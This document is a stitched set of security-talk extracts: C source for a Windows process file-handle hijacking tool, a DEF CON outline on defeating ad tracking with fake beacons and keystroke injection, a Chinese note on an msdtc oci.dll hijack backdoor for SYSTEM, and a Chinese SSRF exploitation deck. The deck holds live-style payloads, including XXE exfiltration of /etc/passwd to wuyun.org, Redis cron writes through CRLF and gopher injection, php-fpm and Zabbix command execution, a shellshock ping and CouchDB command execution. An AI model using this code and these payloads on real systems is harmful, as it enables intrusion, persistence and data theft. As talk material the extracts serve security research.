GetFileHandlePathThreadParamStruct *pGetFileHandlePathThreadParam = NULL;
FILE_NAME_INFORMATION *pFileNameInfo = NULL;
//
pGetFileHandlePathThreadParam = (GetFileHandlePathThreadParamStruct *) lpArg;
//
memset((void *) &IoStatusBlock, 0, sizeof(IoStatusBlock));
memset(bFileInfoBuffer, 0, sizeof(bFileInfoBuffer));
if (NtQueryInformationFile(pGetFileHandlePathThreadParam->hFile,
&IoStatusBlock, bFileInfoBuffer,
sizeof(bFileInfoBuffer), FileNameInformation) != 0)
{
return 1;
}
// get FILE_NAME_INFORMATION ptr
pFileNameInfo = (FILE_NAME_INFORMATION *) bFileInfoBuffer;
//
if (pFileNameInfo->FileNameLength >= sizeof(pGetFileHandlePathThreadParam-
>szPath)) {
return 1;
}
// ansi string
wcstombs(pGetFileHandlePathThreadParam->szPath, pFileNameInfo->FileName,
sizeof(pGetFileHandlePathThreadParam->szPath) - 1);
return 0;
}
DWORD ReplaceFileHandle(HANDLE hTargetProcess, HANDLE hExistingRemoteHandle,
HANDLE hReplaceLocalHandle) {
HANDLE hClonedFileHandle = NULL;
HANDLE hRemoteReplacedHandle = NULL;
//
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
if (DuplicateHandle(hTargetProcess, hExistingRemoteHandle,
GetCurrentProcess(), &hClonedFileHandle, 0, 0,
DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS) == 0) {
return 1;
}
//
CloseHandle(hClonedFileHandle);
//
if (DuplicateHandle(GetCurrentProcess(), hReplaceLocalHandle, hTargetProcess,
&hRemoteReplacedHandle, 0, 0,
DUPLICATE_SAME_ACCESS) == 0) {
return 1;
}
//
if (hRemoteReplacedHandle != hExistingRemoteHandle) {
return 1;
}
return 0;
}
DWORD HijackFileHandle(DWORD dwTargetPID, char *pTargetFileName, HANDLE
hReplaceLocalHandle) {
HANDLE hProcess = NULL;
HANDLE hClonedFileHandle = NULL;
DWORD dwFileHandleObjectType = 0;
DWORD dwThreadExitCode = 0;
DWORD dwThreadID = 0;
HANDLE hThread = NULL;
GetFileHandlePathThreadParamStruct GetFileHandlePathThreadParam;
char *pLastSlash = NULL;
DWORD dwHijackCount = 0;
//
if (GetFileHandleObjectType(&dwFileHandleObjectType) != 0) {
return 1;
}
printf("Opening process: %u...\n", dwTargetPID);
//
hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_SUSPEND_RESUME, 0,
dwTargetPID);
if (hProcess == NULL) {
return 1;
}
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
//
if (NtSuspendProcess(hProcess) != 0) {
CloseHandle(hProcess);
return 1;
}
//
if (GetSystemHandleList() != 0) {
NtResumeProcess(hProcess);
CloseHandle(hProcess);
return 1;
}
for (DWORD i = 0; i < pGlobal_SystemHandleInfo->NumberOfHandles; i++) {
//
if (pGlobal_SystemHandleInfo->HandleList[i].ObjectTypeIndex !=
dwFileHandleObjectType) {
continue;
}
//
if (pGlobal_SystemHandleInfo->HandleList[i].UniqueProcessId !=
dwTargetPID) {
continue;
}
// new file handle
if (DuplicateHandle(hProcess, (HANDLE) pGlobal_SystemHandleInfo-
>HandleList[i].HandleValue, GetCurrentProcess(),
&hClonedFileHandle, 0, 0, DUPLICATE_SAME_ACCESS) == 0)
{
continue;
}
//
//
memset((void *) &GetFileHandlePathThreadParam, 0,
sizeof(GetFileHandlePathThreadParam));
GetFileHandlePathThreadParam.hFile = hClonedFileHandle;
hThread = CreateThread(NULL, 0, GetFileHandlePathThread, (void *)
&GetFileHandlePathThreadParam, 0,
&dwThreadID);
if (hThread == NULL) {
CloseHandle(hClonedFileHandle);
continue;
}
//
if (WaitForSingleObject(hThread, 1000) != WAIT_OBJECT_0) {
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
//
TerminateThread(hThread, 1);
CloseHandle(hThread);
CloseHandle(hClonedFileHandle);
continue;
}
CloseHandle(hClonedFileHandle);
//
GetExitCodeThread(hThread, &dwThreadExitCode);
if (dwThreadExitCode != 0) {
CloseHandle(hThread);
continue;
}
CloseHandle(hThread);
//
pLastSlash = strrchr(GetFileHandlePathThreadParam.szPath, '\\');
if (pLastSlash == NULL) {
continue;
}
//
pLastSlash++;
if (stricmp(pLastSlash, pTargetFileName) != 0) {
continue;
}
// found matching filename
printf("Found remote file handle: \"%s\" (Handle ID: 0x%X)\n",
GetFileHandlePathThreadParam.szPath,
pGlobal_SystemHandleInfo->HandleList[i].HandleValue);
dwHijackCount++;
//
if (ReplaceFileHandle(hProcess, (HANDLE) pGlobal_SystemHandleInfo-
>HandleList[i].HandleValue,
hReplaceLocalHandle) == 0) {
//
printf("Remote file handle hijacked successfully\n\n");
} else {
//
printf("Failed to hijack remote file handle\n\n");
}
}
//
if (NtResumeProcess(hProcess) != 0) {
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
CloseHandle(hProcess);
return 1;
}
// close handle
CloseHandle(hProcess);
//
if (dwHijackCount == 0) {
printf("No matching file handles found\n");
return 1;
}
return 0;
}
DWORD GetNtdllFunctions() {
// get NtQueryInformationFile ptr
NtQueryInformationFile = (unsigned long (__stdcall *)(void *, void *, void *,
unsigned long,
unsigned long))
GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtQueryInformationFile");
if (NtQueryInformationFile == NULL) {
return 1;
}
// get NtQuerySystemInformation ptr
NtQuerySystemInformation = (unsigned long (__stdcall *)(unsigned long, void *,
unsigned long,
unsigned long *))
GetProcAddress(
GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL) {
return 1;
}
// get NtSuspendProcess ptr
NtSuspendProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtSuspendProcess");
if (NtSuspendProcess == NULL) {
return 1;
}
// get NtResumeProcess ptr
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
NtResumeProcess = (unsigned long (__stdcall *)(void *))
GetProcAddress(GetModuleHandle("ntdll.dll"),
"NtResumeProcess");
if (NtResumeProcess == NULL) {
return 1;
}
return 0;
}
int main(int argc, char *argv[]) {
DWORD dwPID = 0;
char *pTargetFileName = NULL;
char *pNewFilePath = NULL;
HANDLE hFile = NULL;
if (argc != 4) {
printf("Usage : %s <target_pid> <target_file_name> <new_file_path>\n\n",
argv[0]);
return 1;
}
//
dwPID = atoi(argv[1]);
pTargetFileName = argv[2];
pNewFilePath = argv[3];
// ntdll
if (GetNtdllFunctions() != 0) {
return 1;
}
//
hFile = CreateFile(pNewFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ
| FILE_SHARE_WRITE, NULL,
CREATE_ALWAYS, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
printf("Failed to create file\n");
return 1;
}
//
if (HijackFileHandle(dwPID, pTargetFileName, hFile) != 0) {
printf("Error\n");
// error handle
CloseHandle(hFile);
DeleteFile(pNewFilePath);
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
return 1;
}
// close handle
CloseHandle(hFile);
printf("Finished\n");
return 0;
}
411
412
413
414
415
416
417
418
419 | pdf |
Opt Out or Deauth Trying !
Anti-Tracking Bots Radios
and Keystroke Injection
Weston Hecker
Principal Application Security Engineer NCR
Twitter @Westonhecker
A Little About Me.
• About myself: 32 - Work for NCR - Live in North Dakota
• Defcon 22, 23, 24 and 25 Blackhat 2016, Hardwear.io, ICS security
2016, Enterprise Connect 2016, ISC2-Security Congress, SC-Congress
Toronto, BSIDESBoston, HOPE 11 (50+ other talks)
• 12 years Pentesting has 13 years of Experience Doing Security
Research and Programming.
• Hacking ATMs, POS, Hotel, Cars and Several IOT projects.
• Reverse Engineering Malware – Building Hardware
• Car Hacking Village/Demolabs talk (2FA for 11 dollars) TPMS (Early
Warrant detection POC)
Present background: About This Research.
• What lead to this research ?
• Chemtrails.
• EOL Windows 7
Present background: About This Research.
• Explain systems that have been used in the past
• Where the instore tracking is going.
• Operating systems spying (Switching to Windows 10)
• Search engines spying (Google,Yahoo) Bing Probably Does to But No
One Uses It?
• Billboards spying
• Creepy ADs
• Privacy disappearing
Explanation of Targeted/Personalized
Advertising/Uses of targeted advertising.
• What is targeted advertising.
• Personalized advertising
• Behavioral Advertising and cookies.
• Hobbies music automobiles electronics travel ETC
• Collection of non identifiable information. Most of the time no email name
or address added information to audience interest cookies
• Jacks up RTB Real time bid information making it useless or undesirable
range.
• Programmatic software for advertisement displays.
• Private Market Place. PMP money waisted
Explanation of online tracking.
• Explanation of technology tracking online.
• Expansion of operating systems spying
• How impacts users
• How impacts businesses
• Pages tracked for ad
• Pages other forms of tracking
• GPS Tracking IP address
• Wifi Beacons and cellular towers.
Topics Used for Personalized Ads.
• Arts and Entertainment, Autos and Vehicles, Beauty and Fitness,
Books and literature, Bussiness and industrial, Computers and
electronics, Finance, Food and drink, Games, Hobbies and Leisure,
Home and Garden, Internet and telcom, Jobs education law and
government, news online communities, people and society, pets and
animals, Real estate, Refference, Science, Shopping, Sports, Travel,
World Localities.
Good Start to Stop Tracking.
• Current ways to stop this !!!!
• Ad Blocking Apps
• AD Blackhole. (Less detectable)
• Track me not. https://adnauseam.io/
• Trackthis Hypervisor!!!
• EFF !!! Privacy Badger
• Paid VPNS *Static VPS*
• All A Good Start.
WHAT DO YOU HAVE AGAINST ADS WESTON.
• I understand the internet costs money to run.
• I gladly pay for email.
• Gladly pay for YouTube RED
• Gladly pay for anything that’s AD Free.
• Even android Stuff You can click don’t track
Me and erase locations.
Disable tracking in browsers. Still does nothing
Drive by attacks malicious advertisements.
Explanation of Brick and mortar tracking.
• Since the late 90s stores have used one form or another of tracking.
• Customers are tracked to provide analytics of where they go in the store so
that stores can adjust the store layout to sell the most.
• There has been stories that come to light every few years that make
references to big brother. But they are soon forgotten
• The stores remove the system or only had them in a piolet store so they
cease expansion into other stores
• If people stop complaining they will make this a staple mark of there
stores.
• There have been improvements to include most cases where customers
have to OPT into the store rewards programs.
Frequency ranges and Devices that use them.
• Bluetooth, Cellular beacons, Wifi, Infrared and motion.
• Several years they have gotten negative press by adding instore
tracking
• US there has been lots of resistance with most forms of tracking.
• Apple and several other manufactures modify there Bluetooth
beacons to protect users.
• UK and other areas of the world there has been less resistance.
• We are told it is all turned into meta data (Data about data)
How Meta Data Affects Advertising and Monitoring.
• Meta Data is Used to Change Store Layout.
• More Specific Layout/Increase Sales
• Use of Rewards Programs OPT-in for Discounts
• Ads are Generated Off of Online Analytics.
• They Can Increase How Much are They Charging for Store Area.
• Changes in Ad Placement Physical and Web
Collection of ALL cellular/Bluetooth beacons.
• Cellular ESN emid Bluetooth beacons
• What is its purpose what is it abused for
• How to harden you communication best practices.
Collection of car sensors and WIFI Beacon
data by billboards.
• Smart Billboard.
• How are they tracking
• Passive ?
• In the U.S. the Tread Act mandated that every car built after 2007
must have a tire pressure monitoring system built-in
• (TPMSS) use unencrypted RF
• 314 mhz Unique ID (Every 60 seconds) 19MPH+
Data collected by applications/ Social media.
• Social media explained
• Social advertising
• Data collection
• Abuse in past.
• B) How does it come back to you.
• Reversing the randomness
Operating systems collecting information now
to?
• Back in the good old days. XP
• 1984 ? Windows 10 info collection
• Miss information
• P2p updates
• Data collection
• Why are these changes happeneing
II. Explanation of Attacks
• Blocking Billboard Spying.
• Explain the main attack surface of the passive monitoring systems.
• How To Stop Brick and Mortor Spying
• How to Stop Web & OS Spying.
1. Methods to Stop Billboard Spying.
• Smart Billboard Capture Vehicle sensor Information.
• Capture sensor information. Based on make and model they can
expect age, Race, Sex, Income range
• Passive ? And Opt in Applications (BT and WiFi)
• ROLLING TPMSS 10 Codes for around 17 Dollars.
• SHHHHH mode for your sensors.
• Can Add 3-4 Sets of tires to car also. NO NEED FOR DEALER
• Installing (GHD) Ground Hogs Day 315/433 System on Billboard 3400
Sensors
So What Collected Data Allowed Them To
Profile Me Online?
• What categories do they track, Technical level, Age, Sex, Orientation,
Religion, Purchase history, Food Preferences, Hobbies, Employment,
Political Views ETC How it is compiled
• How do they use it
• Who is of interest.
• How do government portals work how is it shared
• How is data held against people
• When this information is requested by law enforcement or an
advertisement agency what is delivered how is it used
• Portals for Law Enforcement/Web Interfaces and Analytics.
UI/UX overview of program Pick what they
see as your age and areas of interest.
• Injecting false data
• Profile changing
• Limiting accurate data
• Type FIST program (Never type directly into anything)
• Anti-Type Fist Engine Outputs key strokes at 28-GWPM
• Keystroke Injection From a VM (Emulate Simulate Mouse/KB)
• Browser Bot.
• Not Detected By Search Provider/Web Browser Program
don’t they have methods of tracking this type of
activity how to evade tracking flagged or being
flagged as a bot.
• I am not a robot. (not completely a robot)
• Evading SE protections
• Make it rain
• Make it snow
• B : The joys of getting advertisements watching first hand your
misinformation working.
• How the research progressed from accurate ads to almost random
• Pin and prodding search engines.
• Mapping out collection structure
• Feeding of data input output.
Could this be used as a malware payload ? Make
your Neighbor Look Like a terrorist or a Justin
Bieber fan. (FRAME-WARE)
• How could some one load malware
• How could malware frame some one
• How could it damage some ones life
• Even Worse Like NickleBack Facebook!!!
• Used it to Seed VM for Malware Testing.
Operating systems spy systems why you can’t turn
them off – Can’t beat them miss inform them.
• Showing how I tried to make windows 10 (off the HOST Grid) How Others and I Failed)
• If I cant have my data no one can !!
• Injection from a hypervisor
• How much can you mod OS before Microsoft blocks you
• Is the making me less secure
• 2) Collection levels/ By IP address by system browser details system login.
• External collection methods
• Old school
• IPV6 and how it changes spying on us
• Details they track
• Screen size, browser information
• Type fisting
CSS/HTML injection Proxy based / XML OS
macro Based Injection.
• Ghoest Writer./ Injection bot for the os
• How does it interact with other programs
• What are the limits ?
• Can windows stop this ?
• Ease of use.
What is your phone telling stores? a look at
“NARC” Program for telling what your phone is
giving off?
• Blocking output of your phone
• Spoofing
• Non root
• Generating Fake SMS/Email Messages Every Morning
for Apps That Read the EULA 50/day rule
• Nice for Defcon/Blackhat Airplane Mode/Defcon Mode
How to inject 100s of fake Wifi BSSID/SSID
• (Hardware) Look at in-store tracking software/Heat mapping user
collected data
• Device building
• How it works
• how it effects handsets
• Collection of Beacons
Look at instore tracking how they heat map
• Look at instore tracking how they heat map
• Heatmap VS People counting
Injecting Bluetooth beacons/ Vehicle sensor
information/ Cellular ID information/ Bluetooth
coupon Injection exploitation/ Look at strange
responses of customer tracking systems
• Over device reactions
• Search Engine Profile Software
• Brick and Mortar Attack Tool.
III. Review of Devices used in Demo
How much does it throw off store data?
• The CV program dropped over 90% of customers entering
• Numbers Useless after 2HR
IV. Conclusions Demo
• A. Demonstration of Hardware Beacons laying waste to a SDR waterfall.
• B. Demonstration of “Profile This” software Obfuscating user profile from
32 year old hacker to 12 year old girl who likes horses.
• C. Conclusion of Demonstrations.
• D. Open to questions
• Demonstrate Type Fisting Hypervisor
• I am not a Robot
• Profile Injection
• Keystroke Operation
Kicking Off Demo
• Demo
• Groundhogs Day Attack (Replay)
• Jacking Up Dwell Time (Passing Customers)
• Threshold CV Based Jamming Using IR
Thanks to
• My Work
• My Wife Kids *Where's Dad*
• Jesus
• My Uncle Stacy.
• Defcon For Having Me Speak. 4th year in a row its an honor.
• Audience for Listening to my talk and giving me feedback.
Twitter: @Westonhecker | pdf |
msdtc.exe是微软分布式传输协调程序。该进程调用系统Microsoft Personal Web Server和Microsoft SQL Server。该服务用于管理多个服
务器。
msdtc.exe是一个并列事务,是分布于两个以上的数据库,消息队列,文件系统或其他事务保护资源管理器,删除要小心。
对应服务MSDTC,全称Distributed Transaction Coordinator,Windows系统默认启动该服务
( 对应进程msdtc.exe,位于%windir%system32)
当Windows操作系统启动Microsoft分布式事务处理协调器(MSDTC)服务时,攻击便开始了,该服务可协调跨越多个资源管理器(例如数
据库,消息队列和文件系统)的事务。当目标计算机加入域时,一旦MSDTC服务启动,它将搜索注册表。
当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
默认缺少oci.dll
直接生成一个dll,放入到C:\Windows\System32,kill了msdtc.exe。然后在重新执行即可利用
Evernote Export
file:///C:/Users/JiuShi/Desktop/msdtc实现dll劫持后门.html
第1页 共2页
2020/10/8 23:41
由于默认权限很低,对服务进行修改即可得到SYSTEM权限
参考链接:https://www.cnblogs.com/-qing-/p/11601618.html
Evernote Export
file:///C:/Users/JiuShi/Desktop/msdtc实现dll劫持后门.html
第2页 共2页
2020/10/8 23:41 | pdf |
Build Your SSRF Exploit Framework
SSRF
@ringzero
KNOW IT
• SSRF
• SSRF
• SSRF
HOW
•
• SSRF
•
HACK IT
• SSRF
•
•
Web Interface
KNOW IT, SSRF?
http://10.10.10.10:8080/manager/images/tomcat.gif
KNOW ITSSRF
80 & 8080
SSRF_Interface
Redis server
APP server
HTTP server
SSRF
• ( FingerPrint )
• {Payload}
• DOS( Keep-Alive Always )
• users / dirs / files
SSRF Request
MongoDB
MemCache
Redis-Server
……100%
• OpenSSL
• (Cookies & User:Pass)
OpenSSL — TSL
SSL
OpenSSL
HELLO
—
WEB SERVER
Cookies, USER & PASS
,?
!!!
1024*
DOS
KNOW IT, SSRF
• SSRF
• ( Upload from URL, Import & Export RSS feed)
• (OracleMongoDBMSSQLPostgresCouchDB)
• Webmail (POP3/IMAP/SMTP)
• (ffpmg, ImageMaic, DOCX, PDFXML)
-> SSRF
• Upload from URL
• Discuz!
• Import & Export RSS feed
• Web Blog
• XML
• Wordpress xmlrpc.php
XML -> SSRF
• XXE
• DTD
• XLST -- XML
XSLT Processor
(Saxon)
XSLT
Template
XML
Output
Files
XML Fuzz Cheatsheet ()
•
DTD Remote Access —
<!ENTITY % d SYSTEM "http://wuyun.org/evil.dtd">
•
XML External Entity —
<!ENTITY % file system "file:///etc/passwd" >
<!ENTITY % d SYSTEM “http://wuyun.org/file?data=%file">
•
URL Invocation — URL
<!DOCTYPE roottag PUBLIC "-//VSR//PENTEST//EN" “http://wuyun.org/urlin">
<roottag>test</roottag>
•
XML Encryption — XML
<xenc:AgreementMethod Algorithm= "http://wuyun.org/1">
<xenc:EncryptionProperty Target= "http://wuyun.org/2">
<xenc:CipherReference URI= "http://wuyun.org/3">
<xenc:DataReference URI= “http://wuyun.org/4">
XML Fuzz Cheatsheet — Web Services
•
XML Signature — XML
<Reference URI=“http://wuyun.org/5">
•
WS Policy — SOA WS
<To xmlns=“http://www.w3.org/2005/08/addressing">http://wuyun.org/to</To>
<ReplyTo xmlns="http://www.w3.org/2005/08/addressing">
<Address>http://wuyun.org/rto</Address>
</ReplyTo>
•
From WS Security — JAVA WEB
<wsp:PolicyReference URI=“http://wuyun.org/pr">
•
WS Addressing — Web Services
<input message="wooyun" wsa:Action="http://wuyun.org/ip" />
<output message="wooyun" wsa:Action="http://wuyun.org/op" />
XML Fuzz Cheatsheet —
•
WS Federation — Web Services
<fed:Federation FederationID="http://wuyun.org/fid">
<fed:FederationInclude>http://wuyun.org/inc</fed:FederationInclude>
<fed:TokenIssuerName>http://wuyun.org/iss</fed:TokenIssuerName>
<mex:MetadataReference>
<wsa:Address>http://wuyun.org/mex</wsa:Address>
</mex:MetadataReference>
•
ODATA (edmx)
<edmx:Reference URI="http://wuyun.org/edmxr">
<edmx:AnnotationsReference URI="http://wuyun.org/edmxa">
•
XBRL —
<xbrli:identifier scheme="http://wuyun.org/xbr">
<link:roleType roleURI=“http://wuyun.org/role">
•
STRATML —
<stratml:Source>http://wuyun.org/stml</stratml:Source>
(MongoDB) -> SSRF
> db.copyDatabase(‘helo','test','10.6.4.166:22');
{"errmsg" : “……helo.systemnamespaces failed: " }
> db.copyDatabase(‘helo','test','10.6.4.166:9999');
{"errormsg" : "couldn't connect to server 10.6.4.166:9999"}
[root@10-6-4-166 ~]# nc -l -vv 6379
Connection from 10.6.19.144 port 6379 [tcp/*]
config set dbfilename wyssrf
quit
.system.namespaces
> db.copyDatabase('\r\nconfig set dbfilename wyssrf\r\nquit\r\n’,'test','10.6.4.166:6379')
50000+MongoDB Server
•
(Oracle) -> SSRF
• UTL_HTTP
• UTL_TCP
• UTL_SMTP
http://docs.oracle.com/cd/E11882_01/appdev.112/e40758/u_http.htm
(PostgresSQL) -> SSRF
• dblink_send_query()
SELECT dblink_send_query(
‘host=127.0.0.1
dbname=quit
user=\'\r\nconfig set dbfilename wyssrf\r\n\quit\r\n’
password=1 port=6379 sslmode=disable’,
'select version();’
);
https://www.postgresql.org/docs/8.4/static/dblink.html
[root@localhost ~]# nc -l -vv 6379
Connection from 127.0.0.1 port 6379 [tcp/*]
config set dbfilename wyssrf
quit
(MSSQL) -> SSRF
• OpenRowset()
SELECT openrowset('SQLOLEDB',
'server=192.168.1.5;uid=sa;pwd=sa;database=master')
https://msdn.microsoft.com/zh-cn/library/ms190312.aspx
SELECT * FROM OpenDatasource('SQLOLEDB',
'Data Source=ServerName;User ID=sa;Password=sa' ) .Northwind.dbo.Categories
• OpenDatasource()
:
XP_CMDSHELL
(CouchDB) -> SSRF
• HTTP API /_replicate
POST http://couchdb-server:5984/_replicate
Content-Type: application/json
Accept: application/json
{
"source" : "recipes",
"target" : “dict://redis.wuyun.org:6379/flushall”,
}
https://docs.couchdb.org/en/stable/api/server/common.html
Webmail (POP3/IMAP/SMTP) -> SSRF
• QQ
• 163/126
•
-> SSRF
•
FFmpeg
concat:http://wyssrf.wuyun.org/header.y4m|file:///etc/passwd
•
ImageMagick (mvg URLHTTP)
fill 'url(http://wyssrf.wuyun.org)'
•
XML parsers ( XSLT ) XSLT 100
document(): xml
include():
import():
&
PDFDOCX
HACK ITSSRF
•
{payload}
•
?
IP (xip.ioIPIP)
(RedirectCRLF header injection)
(Protocols & Wrappers)
HACK IT, SSRF &
XXE -> SSRF -> CSRF
•
URIDomain.tld
url=http://www.10.10.10.10.xip.io (wooyun-2010-0162607 )
•
10 / 172 / 192 / 127 IP
IP *256**3 + *256**2 + *256
IP 012.10.10.10 = 10.10.10.10
•
startswith(‘http’)
302 Redirect
CRLF ( Ascii Code ) — header injection
?
%20 -> 0x20 ->
%23 -> 0x23 -> #
%0d -> 0x0d -> CR \r
%0a -> 0x0a-> LF \n
%08 -> 0x08 -> BS
%00 -> 0x00 -> Null Byte
ASCII
SSRF -> 302
/forum.php?mod=ajax&action=downremoteimg&message=
[img]http://wuyun.org/302.php?helo.jpg[/img]
<?php
header("Location: dict://wuyun.org:6379/set:1:helo”); # set 1 helo \n
• 302 http
Discuz! SSRF
302.php
HTTP Scheme
- - - - >
DICT Scheme
http://www.wooyun.org/bugs/wooyun-2010-0215779
WebLogic SSRF HTTP ()
•
WebLogic uddiexplorer SSRF
•
CRLF ->ASCII Code
- %0d -> 0x0d-> \r
- %0a -> 0x0a -> \n
http://localhost:7001/uddiexplorer/
SearchPublicRegistries.jsp?
operator=http://wuyun.org/helo&
rdoSearch=name&btnSubmit=Search
• CRLF Header Injection HTTP
POST /helo HTTP/1.1
Content-Type: text/xml; charset=UTF-8
User-Agent: Java1.6.0_11
Host: wuyun.org
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<env:Envelope
xmlns:soapenc=“http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsd=“http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<env:Header></env:Header><env:Body>
<find_business generic="2.0" xmlns="urn:uddi-org:api_v2">
<name>%</name></find_business>
</env:Body></env:Envelope>
http://wuyun.org/helo%0d%0a
WebLogic SSRF CRLF HTTP0-day
operator=http://wuyun.org/helo%20
HTTP/1.1
%0d%0a(\r\n)
HOST: fuzz.wuyun.com
%0d%0a(\r\n)
[[email protected] ~]# nc -l 80
POST /helo HTTP/1.1
HOST: fuzz.wuyun.com
User-Agent: Java1.6.0_11
Host: wuyun.org
operator=http://wuyun.org:6379/helo
%0d%0a(\r\n)
config set dir /etc/cron.d/
%0d%0a(\r\n)
quit%0d%0a(\r\n)
[[email protected] ~]# nc -l 6379
POST /helo
config set dir /etc/cron.d/
quit
HTTP/1.1
1
2
operator=http://wuyun.org:21/
%08%08%08%08%08%08
%0d%0a
USER ftp
%0d%0a
PASS ftp
%0d%0a
pwd
%0d%0a
GET /abc%0d%0a
SHELLSHOCK
POST /cgi-bin/test-cgi%0d%0a
User-Agent: () { foo;};echo;/bin/ping cloudeye.me
%0d%0a HTTP/1.1
WebLogic SSRF
WebLogic SSRF (FingerPrint)
•
https://wap.ccb.com/uddi/uddilistener
<dispositionReport generic="2.0" operator="http://11.168.100.21:7001">
•
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://fuzz.wuyun.com:22/helo which
did not have a valid SOAP content-type: null.
weblogic.uddi.client.structures.exception.XML_SoapException: Tried
all: '1' addresses, but could not connect over HTTP to server:
'fuzz.wuyun.com', port: '88'
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://www.baidu.com/ which did not
have a valid SOAP content-type: text/html; charset=UTF-8.
•
•
weblogic.uddi.client.structures.exception.XML_SoapException:
Received a response from url: http://fuzz.wuyun.com:22 which did
not have a valid SOAP content-type: null.
DEMO : WebLogic SSRF CRLF + Redis
WebLogicSSRF
• 80%
• 70%
• & 90%
BEA & Oracle
WebLogic
SSRF -> Protocols & Wrappers
/spaces/viewdefaultdecorator.action?decoratorName=./WEB-INF/web.xml & /etc/passwd
/spaces/viewdefaultdecorator.action?decoratorName=file:///etc/passwd
/spaces/viewdefaultdecorator.action?decoratorName=gopher://wuyun.org/_hi
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=/etc/passwd
/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=gopher://wuyun.org/_hi
• Resin-Doc
• Atlassian Confluence CVE-2015-8399
• PHP
http://php.net/manual/en/wrappers.php
• Java
sun.net.www.protocol.*
file ftp gopher http https jar mailto netdoc
SSRF -> Protocols & Wrappers
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2 rar:// — RAR
expect:// — Process Interaction Streams
UDP
SSRF ->
tftp ftp telnet dict ldap ldaps http file https ftps scp sftp
HTTP
GET /path HTTP/1.1
POST /path HTTP/1.1
WebDav:
PUT MOVE DEL
SMBreplay & BadTunnel
UNC Call:
\\10.10.10.10\c$\boot.ini
FTP & SMTP & POP3
tftp://10.10.10.10/get helo
• Tomcat Management
• Zabbix Agentd
• Nagios Agentd
• Fastcgi ( php-fpm )
1 -> SSRF
dict://localhost:8005/SHUTDOWN%0d%0a
dict://localhost:10050/vfs.file.regexp[/etc/hosts,7]
ZBXD?127.0.0.1 localhost
dict://localhost:10050/system.run[ls]
ZBXD,usr etc var boot
gopher://localhost:9000/_...[PHP_VALUE
allow_url_include = On]…
2 -> SSRF &
1. www ,webshell
2. SSH authotrized_keys
3. (/var/spool/cron/ & /etc/cron.d/)
4.
5.
6.
REDIS6
• Redis
• Memcached
• CouchDB
slave of 8.8.8.8
/etc/profile.d/
AOF appendfilename
Sessionadminid=
MemecachedJS/html...
• vBulletin ( Memcached )
http://drops.wooyun.org/papers/8261
• Discuz ( Redis & Memcached )
http://www.wooyun.org/bugs/wooyun-2016-0213982
SSRFMemcached
@Jannock
• SSRFHTTP /_replicate API
• SSRFRestfulAPI
• curl -X PUT 'http://1.1.1.1:5984/_config/query_servers/cmd' -d
'"/sbin/ifconfig >/tmp/6666"'
SSRFCouchDB
15400 —> CouchDB
3 XXE -> SSRF -> CSRF
• CoreMail IPAPI
• CoreMailXML XXE SSRF
• SSRFAPI
http://www.wooyun.org/bugs/wooyun-2010-0192796
/apiws/services/API?wsdl
&
...
@applychen
@Asuri
HOW?
• Python
furl / requests / multiprocessing / time / re
http://zone.wooyun.org/content/23255
•
•
(http <GET|POST> dictgophertftp)
How
•
Keep-Alive: timeout=5
ftp://wuyun.org:6379
Keep-Alive
http & dict://wuyun.org:6379
,
•
[root@localhost ~] # curl http://wuyun.org:22
SSH-2.0-OpenSSH_5.3
Protocol mismatch.
> db.copyDatabase(‘helo','test','10.6.4.166:22');
{"errmsg" : “……helo.systemnamespaces failed: " }
> db.copyDatabase(‘helo','test','10.6.4.166:6379');
{"errormsg" : "couldn't connect to server 10.6.4.166:6379"}
/
SSRF
SITE : tangscan.com
jboss.py
jboss invoker war
jdwp.py
java
shellshock.py
bash
axis2.py
axis2-adminServer
jenkins.py
jenkins scripts
smtp.py
smtp
confluence.py
confluence ssrf(gopher)
struts2.py
struts2
couchdb.py
counchdb WEB API
mongodb.py
mongodb SSRF
tftp.py
tftpudp
docker.py
docker API
php_fastcgi.py
php_fpm, fastcgi gopher
SHELL
tomcat.py
tomcat /manager/html war
elasticsearch.py
ESGroovy
pop.py
pop3
webdav.py
WebDav PUT
ftp.py
ftp
portscan.py
websphere.py
WebSphere Adminwar
gopher.py
gopher do anything
pstack.py
Apache Hadoop
zentaopms.py
zentoPMS
hfs.py
HFS
glassfish.py
glassfishwar
SQLMAP
python wyssrf.py config
